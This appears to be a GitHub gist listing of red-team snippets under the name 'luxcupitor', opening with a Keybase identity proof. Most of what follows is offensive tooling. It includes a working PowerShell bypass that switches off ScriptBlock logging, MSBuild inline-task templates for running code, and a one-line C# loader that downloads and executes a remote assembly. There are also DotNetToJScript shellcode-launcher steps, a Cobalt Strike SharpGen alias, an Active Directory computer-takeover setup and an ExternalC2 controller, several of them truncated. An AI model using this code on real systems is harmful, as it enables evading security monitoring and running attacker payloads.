luxcupitor

Keybase proof

I hereby claim:

• I am luxcupitor on github.
• I am luxcupitor (https://keybase.io/luxcupitor) on keybase.
• I have a public key whose fingerprint is 6BDD C78C 4EBB 00CD 1CF8 946B 8176 AD22 5F33 0312

To claim this, I am signing this object:

luxcupitor

# ScriptBlock Logging Bypass
# @cobbr_io

$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
    $GroupPolicyCache = $GroupPolicyField.GetValue($null)
    If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
        $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
        $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
    }

luxcupitor

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="DemoClass">
   <ClassExample />
  </Target>
	<UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	<Task>
      <Code Type="Class" Language="cs">

luxcupitor

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Business">
   <BusinessTime />
  </Target>
<UsingTask
    TaskName="BusinessTime"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>

luxcupitor

public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }

luxcupitor

1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library C:\Tools\shellcodeLauncher.cs
2. DotNetToJScript.exe --lang=JScript --ver=v4 -c ShellCodeLauncher.Program C:\Tools\shellcodeLauncher.dll

luxcupitor

$dotnetpath = "/usr/local/share/dotnet/dotnet";
$sharpgenpath = "/Users/dtmsecurity/Tools/SharpGen/bin/Debug/netcoreapp2.1/SharpGen.dll";
$temppath = "/tmp/";

beacon_command_register("sharpgen", "Compile and execute C-Sharp","Synopsis: sharpgen [code]\n");

alias sharpgen{
	$executionId  = "sharpgen_" . int(rand() * 100000);
	$temporaryCsharp =  $temppath . $executionId . ".cs";
	$executableFilename = $temppath . $executionId . ".exe";

luxcupitor

# import the necessary toolsets
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1

# we are TESTLAB\attacker, who has GenericWrite rights over the primary$ computer account
whoami

# the target computer object we're taking over
$TargetComputer = "primary.testlab.local"

luxcupitor

#!/usr/bin/python
# -*- coding: utf8 -*-
#
# Author: Arno0x0x, Twitter: @Arno0x0x
#

import argparse
from Crypto.Cipher import AES
import pyscrypt
from base64 import b64encode

luxcupitor

import socket
import struct
import time

class ExternalC2Controller:
    def __init__(self, port):
        self.port = port

    def encodeFrame(self, data):
        return struct.pack("<I", len(data)) + data